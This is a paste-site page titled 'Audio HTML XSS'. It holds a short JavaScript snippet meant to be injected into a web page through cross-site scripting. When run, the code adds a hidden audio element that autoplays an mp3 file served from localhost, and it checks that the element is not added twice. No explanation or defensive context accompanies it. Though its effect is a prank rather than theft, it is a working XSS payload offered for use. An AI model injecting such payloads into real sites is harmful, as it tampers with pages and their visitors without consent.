Audio HTML XSS

From N/A, 4 Months ago, written in JavaScript, viewed 56 times.
URL https://secploit.com/view/665549e7 Embed
Download Paste or View Raw
  1. if(document.getElementById('xss_audio') == null ) {
  2.  var a = document.createElement('audio');
  3.  a.src = "http://127.0.0.1/music/LesRatsQuittentLeNavire.mp3"
  4.  a.autoplay=true;
  5.  a.id='xss_audio';
  6.  a.style.display='none';
  7.  document.body.appendChild(a);
  8. }
  9.  

Reply to "Audio HTML XSS"

Here you can reply to the paste above